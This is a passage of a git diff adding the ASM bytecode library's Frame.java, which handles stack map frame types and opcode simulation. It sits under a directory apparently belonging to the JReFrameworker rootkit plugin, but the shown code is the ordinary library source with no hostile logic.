firstAttribute.putAttributes(symbolTable, output); + } + } + + /** + * Collects the attributes of this field into the given set of attribute prototypes. + * + * @param attributePrototypes a set of attribute prototypes. + */ + final void collectAttributePrototypes(final Attribute.Set attributePrototypes) { + attributePrototypes.addAttributes(firstAttribute); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Frame.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Frame.java new file mode 100644 index 0000000..750d502 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Frame.java @@ -0,0 +1,1468 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * The input and output stack map frames of a basic block. + * + *

Stack map frames are computed in two steps: + * + *

    + *
  • During the visit of each instruction in MethodWriter, the state of the frame at the end of + * the current basic block is updated by simulating the action of the instruction on the + * previous state of this so called "output frame". + *
  • After all instructions have been visited, a fix point algorithm is used in MethodWriter to + * compute the "input frame" of each basic block (i.e. the stack map frame at the beginning of + * the basic block). See {@link MethodWriter#computeAllFrames}. + *
+ * + *

Output stack map frames are computed relatively to the input frame of the basic block, which + * is not yet known when output frames are computed. It is therefore necessary to be able to + * represent abstract types such as "the type at position x in the input frame locals" or "the type + * at position x from the top of the input frame stack" or even "the type at position x in the input + * frame, with y more (or less) array dimensions". This explains the rather complicated type format + * used in this class, explained below. + * + *

The local variables and the operand stack of input and output frames contain values called + * "abstract types" hereafter. An abstract type is represented with 4 fields named DIM, KIND, FLAGS + * and VALUE, packed in a single int value for better performance and memory efficiency: + * + *

+ *   =====================================
+ *   |.DIM|KIND|FLAG|...............VALUE|
+ *   =====================================
+ * 
+ * + *
    + *
  • the DIM field, stored in the 4 most significant bits, is a signed number of array + * dimensions (from -8 to 7, included). It can be retrieved with {@link #DIM_MASK} and a right + * shift of {@link #DIM_SHIFT}. + *
  • the KIND field, stored in 4 bits, indicates the kind of VALUE used. These 4 bits can be + * retrieved with {@link #KIND_MASK} and, without any shift, must be equal to {@link + * #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND}, {@link #LOCAL_KIND} + * or {@link #STACK_KIND}. + *
  • the FLAGS field, stored in 4 bits, contains up to 4 boolean flags. Currently only one flag + * is defined, namely {@link #TOP_IF_LONG_OR_DOUBLE_FLAG}. + *
  • the VALUE field, stored in the remaining 20 bits, contains either + *
      + *
    • one of the constants {@link #ITEM_TOP}, {@link #ITEM_ASM_BOOLEAN}, {@link + * #ITEM_ASM_BYTE}, {@link #ITEM_ASM_CHAR} or {@link #ITEM_ASM_SHORT}, {@link + * #ITEM_INTEGER}, {@link #ITEM_FLOAT}, {@link #ITEM_LONG}, {@link #ITEM_DOUBLE}, {@link + * #ITEM_NULL} or {@link #ITEM_UNINITIALIZED_THIS}, if KIND is equal to {@link + * #CONSTANT_KIND}. + *
    • the index of a {@link Symbol#TYPE_TAG} {@link Symbol} in the type table of a {@link + * SymbolTable}, if KIND is equal to {@link #REFERENCE_KIND}. + *
    • the index of an {@link Symbol#UNINITIALIZED_TYPE_TAG} {@link Symbol} in the type + * table of a SymbolTable, if KIND is equal to {@link #UNINITIALIZED_KIND}. + *
    • the index of a local variable in the input stack frame, if KIND is equal to {@link + * #LOCAL_KIND}. + *
    • a position relatively to the top of the stack of the input stack frame, if KIND is + * equal to {@link #STACK_KIND}, + *
    + *
+ * + *

Output frames can contain abstract types of any kind and with a positive or negative array + * dimension (and even unassigned types, represented by 0 - which does not correspond to any valid + * abstract type value). Input frames can only contain CONSTANT_KIND, REFERENCE_KIND or + * UNINITIALIZED_KIND abstract types of positive or null array dimension. In all cases the type + * table contains only internal type names (array type descriptors are forbidden - array dimensions + * must be represented through the DIM field). + * + *

The LONG and DOUBLE types are always represented by using two slots (LONG + TOP or DOUBLE + + * TOP), for local variables as well as in the operand stack. This is necessary to be able to + * simulate DUPx_y instructions, whose effect would be dependent on the concrete types represented + * by the abstract types in the stack (which are not always known). + * + * @author Eric Bruneton + */ +class Frame { + + // Constants used in the StackMapTable attribute. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.4. + + static final int SAME_FRAME = 0; + static final int SAME_LOCALS_1_STACK_ITEM_FRAME = 64; + static final int RESERVED = 128; + static final int SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED = 247; + static final int CHOP_FRAME = 248; + static final int SAME_FRAME_EXTENDED = 251; + static final int APPEND_FRAME = 252; + static final int FULL_FRAME = 255; + + static final int ITEM_TOP = 0; + static final int ITEM_INTEGER = 1; + static final int ITEM_FLOAT = 2; + static final int ITEM_DOUBLE = 3; + static final int ITEM_LONG = 4; + static final int ITEM_NULL = 5; + static final int ITEM_UNINITIALIZED_THIS = 6; + static final int ITEM_OBJECT = 7; + static final int ITEM_UNINITIALIZED = 8; + // Additional, ASM specific constants used in abstract types below. + private static final int ITEM_ASM_BOOLEAN = 9; + private static final int ITEM_ASM_BYTE = 10; + private static final int ITEM_ASM_CHAR = 11; + private static final int ITEM_ASM_SHORT = 12; + + // Bitmasks to get each field of an abstract type. + + private static final int DIM_MASK = 0xF0000000; + private static final int KIND_MASK = 0x0F000000; + private static final int FLAGS_MASK = 0x00F00000; + private static final int VALUE_MASK = 0x000FFFFF; + + // Constants to manipulate the DIM field of an abstract type. + + /** The number of right shift bits to use to get the array dimensions of an abstract type. */ + private static final int DIM_SHIFT = 28; + + /** The constant to be added to an abstract type to get one with one more array dimension. */ + private static final int ARRAY_OF = +1 << DIM_SHIFT; + + /** The constant to be added to an abstract type to get one with one less array dimension. */ + private static final int ELEMENT_OF = -1 << DIM_SHIFT; + + // Possible values for the KIND field of an abstract type. + + private static final int CONSTANT_KIND = 0x01000000; + private static final int REFERENCE_KIND = 0x02000000; + private static final int UNINITIALIZED_KIND = 0x03000000; + private static final int LOCAL_KIND = 0x04000000; + private static final int STACK_KIND = 0x05000000; + + // Possible flags for the FLAGS field of an abstract type. + + /** + * A flag used for LOCAL_KIND and STACK_KIND abstract types, indicating that if the resolved, + * concrete type is LONG or DOUBLE, TOP should be used instead (because the value has been + * partially overridden with an xSTORE instruction). + */ + private static final int TOP_IF_LONG_OR_DOUBLE_FLAG = 0x00100000 & FLAGS_MASK; + + // Useful predefined abstract types (all the possible CONSTANT_KIND types). + + private static final int TOP = CONSTANT_KIND | ITEM_TOP; + private static final int BOOLEAN = CONSTANT_KIND | ITEM_ASM_BOOLEAN; + private static final int BYTE = CONSTANT_KIND | ITEM_ASM_BYTE; + private static final int CHAR = CONSTANT_KIND | ITEM_ASM_CHAR; + private static final int SHORT = CONSTANT_KIND | ITEM_ASM_SHORT; + private static final int INTEGER = CONSTANT_KIND | ITEM_INTEGER; + private static final int FLOAT = CONSTANT_KIND | ITEM_FLOAT; + private static final int LONG = CONSTANT_KIND | ITEM_LONG; + private static final int DOUBLE = CONSTANT_KIND | ITEM_DOUBLE; + private static final int NULL = CONSTANT_KIND | ITEM_NULL; + private static final int UNINITIALIZED_THIS = CONSTANT_KIND | ITEM_UNINITIALIZED_THIS; + + // ----------------------------------------------------------------------------------------------- + // Instance fields + // ----------------------------------------------------------------------------------------------- + + /** The basic block to which these input and output stack map frames correspond. */ + Label owner; + + /** The input stack map frame locals. This is an array of abstract types. */ + private int[] inputLocals; + + /** The input stack map frame stack. This is an array of abstract types. */ + private int[] inputStack; + + /** The output stack map frame locals. This is an array of abstract types. */ + private int[] outputLocals; + + /** The output stack map frame stack. This is an array of abstract types. */ + private int[] outputStack; + + /** + * The start of the output stack, relatively to the input stack. This offset is always negative or + * null. A null offset means that the output stack must be appended to the input stack. A -n + * offset means that the first n output stack elements must replace the top n input stack + * elements, and that the other elements must be appended to the input stack. + */ + private short outputStackStart; + + /** The index of the top stack element in {@link #outputStack}. */ + private short outputStackTop; + + /** The number of types that are initialized in the basic block. See {@link #initializations}. */ + private int initializationCount; + + /** + * The abstract types that are initialized in the basic block. A constructor invocation on an + * UNINITIALIZED or UNINITIALIZED_THIS abstract type must replace every occurrence of this + * type in the local variables and in the operand stack. This cannot be done during the first step + * of the algorithm since, during this step, the local variables and the operand stack types are + * still abstract. It is therefore necessary to store the abstract types of the constructors which + * are invoked in the basic block, in order to do this replacement during the second step of the + * algorithm, where the frames are fully computed. Note that this array can contain abstract types + * that are relative to the input locals or to the input stack. + */ + private int[] initializations; + + // ----------------------------------------------------------------------------------------------- + // Constructor + // ----------------------------------------------------------------------------------------------- + + /** + * Constructs a new Frame. + * + * @param owner the basic block to which these input and output stack map frames correspond. + */ + Frame(final Label owner) { + this.owner = owner; + } + + /** + * Sets this frame to the value of the given frame. + * + *

WARNING: after this method is called the two frames share the same data structures. It is + * recommended to discard the given frame to avoid unexpected side effects. + * + * @param frame The new frame value. + */ + final void copyFrom(final Frame frame) { + inputLocals = frame.inputLocals; + inputStack = frame.inputStack; + outputStackStart = 0; + outputLocals = frame.outputLocals; + outputStack = frame.outputStack; + outputStackTop = frame.outputStackTop; + initializationCount = frame.initializationCount; + initializations = frame.initializations; + } + + // ----------------------------------------------------------------------------------------------- + // Static methods to get abstract types from other type formats + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the abstract type corresponding to the given public API frame element type. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param type a frame element type described using the same format as in {@link + * MethodVisitor#visitFrame}, i.e. either {@link Opcodes#TOP}, {@link Opcodes#INTEGER}, {@link + * Opcodes#FLOAT}, {@link Opcodes#LONG}, {@link Opcodes#DOUBLE}, {@link Opcodes#NULL}, or + * {@link Opcodes#UNINITIALIZED_THIS}, or the internal name of a class, or a Label designating + * a NEW instruction (for uninitialized types). + * @return the abstract type corresponding to the given frame element type. + */ + static int getAbstractTypeFromApiFormat(final SymbolTable symbolTable, final Object type) { + if (type instanceof Integer) { + return CONSTANT_KIND | ((Integer) type).intValue(); + } else if (type instanceof String) { + String descriptor = Type.getObjectType((String) type).getDescriptor(); + return getAbstractTypeFromDescriptor(symbolTable, descriptor, 0); + } else { + return UNINITIALIZED_KIND + | symbolTable.addUninitializedType("", ((Label) type).bytecodeOffset); + } + } + + /** + * Returns the abstract type corresponding to the internal name of a class. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param internalName the internal name of a class. This must not be an array type + * descriptor. + * @return the abstract type value corresponding to the given internal name. + */ + static int getAbstractTypeFromInternalName( + final SymbolTable symbolTable, final String internalName) { + return REFERENCE_KIND | symbolTable.addType(internalName); + } + + /** + * Returns the abstract type corresponding to the given type descriptor. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param buffer a string ending with a type descriptor. + * @param offset the start offset of the type descriptor in buffer. + * @return the abstract type corresponding to the given type descriptor. + */ + private static int getAbstractTypeFromDescriptor( + final SymbolTable symbolTable, final String buffer, final int offset) { + String internalName; + switch (buffer.charAt(offset)) { + case 'V': + return 0; + case 'Z': + case 'C': + case 'B': + case 'S': + case 'I': + return INTEGER; + case 'F': + return FLOAT; + case 'J': + return LONG; + case 'D': + return DOUBLE; + case 'L': + internalName = buffer.substring(offset + 1, buffer.length() - 1); + return REFERENCE_KIND | symbolTable.addType(internalName); + case '[': + int elementDescriptorOffset = offset + 1; + while (buffer.charAt(elementDescriptorOffset) == '[') { + ++elementDescriptorOffset; + } + int typeValue; + switch (buffer.charAt(elementDescriptorOffset)) { + case 'Z': + typeValue = BOOLEAN; + break; + case 'C': + typeValue = CHAR; + break; + case 'B': + typeValue = BYTE; + break; + case 'S': + typeValue = SHORT; + break; + case 'I': + typeValue = INTEGER; + break; + case 'F': + typeValue = FLOAT; + break; + case 'J': + typeValue = LONG; + break; + case 'D': + typeValue = DOUBLE; + break; + case 'L': + internalName = buffer.substring(elementDescriptorOffset + 1, buffer.length() - 1); + typeValue = REFERENCE_KIND | symbolTable.addType(internalName); + break; + default: + throw new IllegalArgumentException(); + } + return ((elementDescriptorOffset - offset) << DIM_SHIFT) | typeValue; + default: + throw new IllegalArgumentException(); + } + } + + // ----------------------------------------------------------------------------------------------- + // Methods related to the input frame + // ----------------------------------------------------------------------------------------------- + + /** + * Sets the input frame from the given method description. This method is used to initialize the + * first frame of a method, which is implicit (i.e. not stored explicitly in the StackMapTable + * attribute). + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param access the method's access flags. + * @param descriptor the method descriptor. + * @param maxLocals the maximum number of local variables of the method. + */ + final void setInputFrameFromDescriptor( + final SymbolTable symbolTable, + final int access, + final String descriptor, + final int maxLocals) { + inputLocals = new int[maxLocals]; + inputStack = new int[0]; + int inputLocalIndex = 0; + if ((access & Opcodes.ACC_STATIC) == 0) { + if ((access & Constants.ACC_CONSTRUCTOR) == 0) { + inputLocals[inputLocalIndex++] = + REFERENCE_KIND | symbolTable.addType(symbolTable.getClassName()); + } else { + inputLocals[inputLocalIndex++] = UNINITIALIZED_THIS; + } + } + for (Type argumentType : Type.getArgumentTypes(descriptor)) { + int abstractType = + getAbstractTypeFromDescriptor(symbolTable, argumentType.getDescriptor(), 0); + inputLocals[inputLocalIndex++] = abstractType; + if (abstractType == LONG || abstractType == DOUBLE) { + inputLocals[inputLocalIndex++] = TOP; + } + } + while (inputLocalIndex < maxLocals) { + inputLocals[inputLocalIndex++] = TOP; + } + } + + /** + * Sets the input frame from the given public API frame description. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param numLocal the number of local variables. + * @param local the local variable types, described using the same format as in {@link + * MethodVisitor#visitFrame}. + * @param numStack the number of operand stack elements. + * @param stack the operand stack types, described using the same format as in {@link + * MethodVisitor#visitFrame}. + */ + final void setInputFrameFromApiFormat( + final SymbolTable symbolTable, + final int numLocal, + final Object[] local, + final int numStack, + final Object[] stack) { + int inputLocalIndex = 0; + for (int i = 0; i < numLocal; ++i) { + inputLocals[inputLocalIndex++] = getAbstractTypeFromApiFormat(symbolTable, local[i]); + if (local[i] == Opcodes.LONG || local[i] == Opcodes.DOUBLE) { + inputLocals[inputLocalIndex++] = TOP; + } + } + while (inputLocalIndex < inputLocals.length) { + inputLocals[inputLocalIndex++] = TOP; + } + int numStackTop = 0; + for (int i = 0; i < numStack; ++i) { + if (stack[i] == Opcodes.LONG || stack[i] == Opcodes.DOUBLE) { + ++numStackTop; + } + } + inputStack = new int[numStack + numStackTop]; + int inputStackIndex = 0; + for (int i = 0; i < numStack; ++i) { + inputStack[inputStackIndex++] = getAbstractTypeFromApiFormat(symbolTable, stack[i]); + if (stack[i] == Opcodes.LONG || stack[i] == Opcodes.DOUBLE) { + inputStack[inputStackIndex++] = TOP; + } + } + outputStackTop = 0; + initializationCount = 0; + } + + final int getInputStackSize() { + return inputStack.length; + } + + // ----------------------------------------------------------------------------------------------- + // Methods related to the output frame + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the abstract type stored at the given local variable index in the output frame. + * + * @param localIndex the index of the local variable whose value must be returned. + * @return the abstract type stored at the given local variable index in the output frame. + */ + private int getLocal(final int localIndex) { + if (outputLocals == null || localIndex >= outputLocals.length) { + // If this local has never been assigned in this basic block, it is still equal to its value + // in the input frame. + return LOCAL_KIND | localIndex; + } else { + int abstractType = outputLocals[localIndex]; + if (abstractType == 0) { + // If this local has never been assigned in this basic block, so it is still equal to its + // value in the input frame. + abstractType = outputLocals[localIndex] = LOCAL_KIND | localIndex; + } + return abstractType; + } + } + + /** + * Replaces the abstract type stored at the given local variable index in the output frame. + * + * @param localIndex the index of the output frame local variable that must be set. + * @param abstractType the value that must be set. + */ + private void setLocal(final int localIndex, final int abstractType) { + // Create and/or resize the output local variables array if necessary. + if (outputLocals == null) { + outputLocals = new int[10]; + } + int outputLocalsLength = outputLocals.length; + if (localIndex >= outputLocalsLength) { + int[] newOutputLocals = new int[Math.max(localIndex + 1, 2 * outputLocalsLength)]; + System.arraycopy(outputLocals, 0, newOutputLocals, 0, outputLocalsLength); + outputLocals = newOutputLocals; + } + // Set the local variable. + outputLocals[localIndex] = abstractType; + } + + /** + * Pushes the given abstract type on the output frame stack. + * + * @param abstractType an abstract type. + */ + private void push(final int abstractType) { + // Create and/or resize the output stack array if necessary. + if (outputStack == null) { + outputStack = new int[10]; + } + int outputStackLength = outputStack.length; + if (outputStackTop >= outputStackLength) { + int[] newOutputStack = new int[Math.max(outputStackTop + 1, 2 * outputStackLength)]; + System.arraycopy(outputStack, 0, newOutputStack, 0, outputStackLength); + outputStack = newOutputStack; + } + // Pushes the abstract type on the output stack. + outputStack[outputStackTop++] = abstractType; + // Updates the maximum size reached by the output stack, if needed (note that this size is + // relative to the input stack size, which is not known yet). + short outputStackSize = (short) (outputStackStart + outputStackTop); + if (outputStackSize > owner.outputStackMax) { + owner.outputStackMax = outputStackSize; + } + } + + /** + * Pushes the abstract type corresponding to the given descriptor on the output frame stack. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param descriptor a type or method descriptor (in which case its return type is pushed). + */ + private void push(final SymbolTable symbolTable, final String descriptor) { + int typeDescriptorOffset = descriptor.charAt(0) == '(' ? descriptor.indexOf(')') + 1 : 0; + int abstractType = getAbstractTypeFromDescriptor(symbolTable, descriptor, typeDescriptorOffset); + if (abstractType != 0) { + push(abstractType); + if (abstractType == LONG || abstractType == DOUBLE) { + push(TOP); + } + } + } + + /** + * Pops an abstract type from the output frame stack and returns its value. + * + * @return the abstract type that has been popped from the output frame stack. + */ + private int pop() { + if (outputStackTop > 0) { + return outputStack[--outputStackTop]; + } else { + // If the output frame stack is empty, pop from the input stack. + return STACK_KIND | -(--outputStackStart); + } + } + + /** + * Pops the given number of abstract types from the output frame stack. + * + * @param elements the number of abstract types that must be popped. + */ + private void pop(final int elements) { + if (outputStackTop >= elements) { + outputStackTop -= elements; + } else { + // If the number of elements to be popped is greater than the number of elements in the output + // stack, clear it, and pop the remaining elements from the input stack. + outputStackStart -= elements - outputStackTop; + outputStackTop = 0; + } + } + + /** + * Pops as many abstract types from the output frame stack as described by the given descriptor. + * + * @param descriptor a type or method descriptor (in which case its argument types are popped). + */ + private void pop(final String descriptor) { + char firstDescriptorChar = descriptor.charAt(0); + if (firstDescriptorChar == '(') { + pop((Type.getArgumentsAndReturnSizes(descriptor) >> 2) - 1); + } else if (firstDescriptorChar == 'J' || firstDescriptorChar == 'D') { + pop(2); + } else { + pop(1); + } + } + + // ----------------------------------------------------------------------------------------------- + // Methods to handle uninitialized types + // ----------------------------------------------------------------------------------------------- + + /** + * Adds an abstract type to the list of types on which a constructor is invoked in the basic + * block. + * + * @param abstractType an abstract type on a which a constructor is invoked. + */ + private void addInitializedType(final int abstractType) { + // Create and/or resize the initializations array if necessary. + if (initializations == null) { + initializations = new int[2]; + } + int initializationsLength = initializations.length; + if (initializationCount >= initializationsLength) { + int[] newInitializations = + new int[Math.max(initializationCount + 1, 2 * initializationsLength)]; + System.arraycopy(initializations, 0, newInitializations, 0, initializationsLength); + initializations = newInitializations; + } + // Store the abstract type. + initializations[initializationCount++] = abstractType; + } + + /** + * Returns the "initialized" abstract type corresponding to the given abstract type. + * + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + * @param abstractType an abstract type. + * @return the REFERENCE_KIND abstract type corresponding to abstractType if it is + * UNINITIALIZED_THIS or an UNINITIALIZED_KIND abstract type for one of the types on which a + * constructor is invoked in the basic block. Otherwise returns abstractType. + */ + private int getInitializedType(final SymbolTable symbolTable, final int abstractType) { + if (abstractType == UNINITIALIZED_THIS + || (abstractType & (DIM_MASK | KIND_MASK)) == UNINITIALIZED_KIND) { + for (int i = 0; i < initializationCount; ++i) { + int initializedType = initializations[i]; + int dim = initializedType & DIM_MASK; + int kind = initializedType & KIND_MASK; + int value = initializedType & VALUE_MASK; + if (kind == LOCAL_KIND) { + initializedType = dim + inputLocals[value]; + } else if (kind == STACK_KIND) { + initializedType = dim + inputStack[inputStack.length - value]; + } + if (abstractType == initializedType) { + if (abstractType == UNINITIALIZED_THIS) { + return REFERENCE_KIND | symbolTable.addType(symbolTable.getClassName()); + } else { + return REFERENCE_KIND + | symbolTable.addType(symbolTable.getType(abstractType & VALUE_MASK).value); + } + } + } + } + return abstractType; + } + + // ----------------------------------------------------------------------------------------------- + // Main method, to simulate the execution of each instruction on the output frame + // ----------------------------------------------------------------------------------------------- + + /** + * Simulates the action of the given instruction on the output stack frame. + * + * @param opcode the opcode of the instruction. + * @param arg the numeric operand of the instruction, if any. + * @param argSymbol the Symbol operand of the instruction, if any. + * @param symbolTable the type table to use to lookup and store type {@link Symbol}. + */ + void execute( + final int opcode, final int arg, final Symbol argSymbol, final SymbolTable symbolTable) { + // Abstract types popped from the stack or read from local variables. + int abstractType1; + int abstractType2; + int abstractType3; + int abstractType4; + switch (opcode) { + case Opcodes.NOP: + case Opcodes.INEG: + case Opcodes.LNEG: + case Opcodes.FNEG: + case Opcodes.DNEG: + case Opcodes.I2B: + case Opcodes.I2C: + case Opcodes.I2S: + case Opcodes.GOTO: + case Opcodes.RETURN: + break; + case Opcodes.ACONST_NULL: + push(NULL); + break; + case Opcodes.ICONST_M1: + case Opcodes.ICONST_0: + case Opcodes.ICONST_1: + case Opcodes.ICONST_2: + case Opcodes.ICONST_3: + case Opcodes.ICONST_4: + case Opcodes.ICONST_5: + case Opcodes.BIPUSH: + case Opcodes.SIPUSH: + case Opcodes.ILOAD: + push(INTEGER); + break; + case Opcodes.LCONST_0: + case Opcodes.LCONST_1: + case Opcodes.LLOAD: + push(LONG); + push(TOP); + break; + case Opcodes.FCONST_0: + case Opcodes.FCONST_1: + case Opcodes.FCONST_2: + case Opcodes.FLOAD: + push(FLOAT); + break; + case Opcodes.DCONST_0: + case Opcodes.DCONST_1: + case Opcodes.DLOAD: + push(DOUBLE); + push(TOP); + break; + case Opcodes.LDC: + switch (argSymbol.tag) { + case Symbol.CONSTANT_INTEGER_TAG: + push(INTEGER); + break; + case Symbol.CONSTANT_LONG_TAG: + push(LONG); + push(TOP); + break; + case Symbol.CONSTANT_FLOAT_TAG: + push(FLOAT); + break; + case Symbol.CONSTANT_DOUBLE_TAG: + push(DOUBLE); + push(TOP); + break; + case Symbol.CONSTANT_CLASS_TAG: + push(REFERENCE_KIND | symbolTable.addType("java/lang/Class")); + break; + case Symbol.CONSTANT_STRING_TAG: + push(REFERENCE_KIND | symbolTable.addType("java/lang/String")); + break; + case Symbol.CONSTANT_METHOD_TYPE_TAG: + push(REFERENCE_KIND | symbolTable.addType("java/lang/invoke/MethodType")); + break; + case Symbol.CONSTANT_METHOD_HANDLE_TAG: + push(REFERENCE_KIND | symbolTable.addType("java/lang/invoke/MethodHandle")); + break; + case Symbol.CONSTANT_DYNAMIC_TAG: + push(symbolTable, argSymbol.value); + break; + default: + throw new AssertionError(); + } + break; + case Opcodes.ALOAD: + push(getLocal(arg)); + break; + case Opcodes.LALOAD: + case Opcodes.D2L: + pop(2); + push(LONG); + push(TOP); + break; + case Opcodes.DALOAD: + case Opcodes.L2D: + pop(2); + push(DOUBLE); + push(TOP); + break; + case Opcodes.AALOAD: + pop(1); + abstractType1 = pop(); + push(abstractType1 == NULL ? abstractType1 : ELEMENT_OF + abstractType1); + break; + case Opcodes.ISTORE: + case Opcodes.FSTORE: + case Opcodes.ASTORE: + abstractType1 = pop(); + setLocal(arg, abstractType1); + if (arg > 0) { + int previousLocalType = getLocal(arg - 1); + if (previousLocalType == LONG || previousLocalType == DOUBLE) { + setLocal(arg - 1, TOP); + } else if ((previousLocalType & KIND_MASK) == LOCAL_KIND + || (previousLocalType & KIND_MASK) == STACK_KIND) { + // The type of the previous local variable is not known yet, but if it later appears + // to be LONG or DOUBLE, we should then use TOP instead. + setLocal(arg - 1, previousLocalType | TOP_IF_LONG_OR_DOUBLE_FLAG); + } + } + break; + case Opcodes.LSTORE: + case Opcodes.DSTORE: + pop(1); + abstractType1 = pop(); + setLocal(arg, abstractType1); + setLocal(arg + 1, TOP); + if (arg > 0) { + int previousLocalType = getLocal(arg - 1); + if (previousLocalType == LONG || previousLocalType == DOUBLE) { + setLocal(arg - 1, TOP); + } else if ((previousLocalType & KIND_MASK) == LOCAL_KIND + || (previousLocalType & KIND_MASK) == STACK_KIND) { + // The type of the previous local variable is not known yet, but if it later appears + // to be LONG or DOUBLE, we should then use TOP instead. + setLocal(arg - 1, previousLocalType | TOP_IF_LONG_OR_DOUBLE_FLAG); + } + } + break; + case Opcodes.IASTORE: + case Opcodes.BASTORE: + case Opcodes.CASTORE: + case Opcodes.SASTORE: + case Opcodes.FASTORE: + case Opcodes.AASTORE: + pop(3); + break; + case Opcodes.LASTORE: + case Opcodes.DASTORE: + pop(4); + break; + case Opcodes.POP: + case Opcodes.IFEQ: + case Opcodes.IFNE: + case Opcodes.IFLT: + case Opcodes.IFGE: + case Opcodes.IFGT: + case Opcodes.IFLE: + case Opcodes.IRETURN: + case Opcodes.FRETURN: + case Opcodes.ARETURN: + case Opcodes.TABLESWITCH: + case Opcodes.LOOKUPSWITCH: + case Opcodes.ATHROW: + case Opcodes.MONITORENTER: + case Opcodes.MONITOREXIT: + case Opcodes.IFNULL: + case Opcodes.IFNONNULL: + pop(1); + break; + case Opcodes.POP2: + case Opcodes.IF_ICMPEQ: + case Opcodes.IF_ICMPNE: + case Opcodes.IF_ICMPLT: + case Opcodes.IF_ICMPGE: + case Opcodes.IF_ICMPGT: + case Opcodes.IF_ICMPLE: + case Opcodes.IF_ACMPEQ: + case Opcodes.IF_ACMPNE: + case Opcodes.LRETURN: + case Opcodes.DRETURN: + pop(2); + break; + case Opcodes.DUP: + abstractType1 = pop(); + push(abstractType1); + push(abstractType1); + break; + case Opcodes.DUP_X1: + abstractType1 = pop(); + abstractType2 = pop(); + push(abstractType1); + push(abstractType2); + push(abstractType1); + break; + case Opcodes.DUP_X2: + abstractType1 = pop(); + abstractType2 = pop(); + abstractType3 = pop(); + push(abstractType1); + push(abstractType3); + push(abstractType2); + push(abstractType1); + break; + case Opcodes.DUP2: + abstractType1 = pop(); + abstractType2 = pop(); + push(abstractType2); + push(abstractType1); + push(abstractType2); + push(abstractType1); + break; + case Opcodes.DUP2_X1: + abstractType1 = pop(); + abstractType2 = pop(); + abstractType3 = pop(); + push(abstractType2); + push(abstractType1); + push(abstractType3); + push(abstractType2); + push(abstractType1); + break; + case Opcodes.DUP2_X2: + abstractType1 = pop(); + abstractType2 = pop(); + abstractType3 = pop(); + abstractType4 = pop(); + push(abstractType2); + push(abstractType1); + push(abstractType4); + push(abstractType3); + push(abstractType2); + push(abstractType1); + break; + case Opcodes.SWAP: + abstractType1 = pop(); + abstractType2 = pop(); + push(abstractType1); + push(abstractType2); + break; + case Opcodes.IALOAD: + case Opcodes.BALOAD: + case Opcodes.CALOAD: + case Opcodes.SALOAD: + case Opcodes.IADD: + case Opcodes.ISUB: + case Opcodes.IMUL: + case Opcodes.IDIV: + case Opcodes.IREM: + case Opcodes.IAND: + case Opcodes.IOR: + case Opcodes.IXOR: + case Opcodes.ISHL: + case Opcodes.ISHR: + case Opcodes.IUSHR: + case Opcodes.L2I: + case Opcodes.D2I: + case Opcodes.FCMPL: + case Opcodes.FCMPG: + pop(2); + push(INTEGER); + break; + case Opcodes.LADD: + case Opcodes.LSUB: + case Opcodes.LMUL: + case Opcodes.LDIV: + case Opcodes.LREM: + case Opcodes.LAND: + case Opcodes.LOR: + case Opcodes.LXOR: + pop(4); + push(LONG); + push(TOP); + break; + case Opcodes.FALOAD: + case Opcodes.FADD: + case Opcodes.FSUB: + case Opcodes.FMUL: + case Opcodes.FDIV: + case Opcodes.FREM: + case Opcodes.L2F: + case Opcodes.D2F: + pop(2); + push(FLOAT); + break; + case Opcodes.DADD: + case Opcodes.DSUB: + case Opcodes.DMUL: + case Opcodes.DDIV: + case Opcodes.DREM: + pop(4); + push(DOUBLE); + push(TOP); + break; + case Opcodes.LSHL: + case Opcodes.LSHR: + case Opcodes.LUSHR: + pop(3); + push(LONG); + push(TOP); + break; + case Opcodes.IINC: + setLocal(arg, INTEGER); + break; + case Opcodes.I2L: + case Opcodes.F2L: + pop(1); + push(LONG); + push(TOP); + break; + case Opcodes.I2F: + pop(1); + 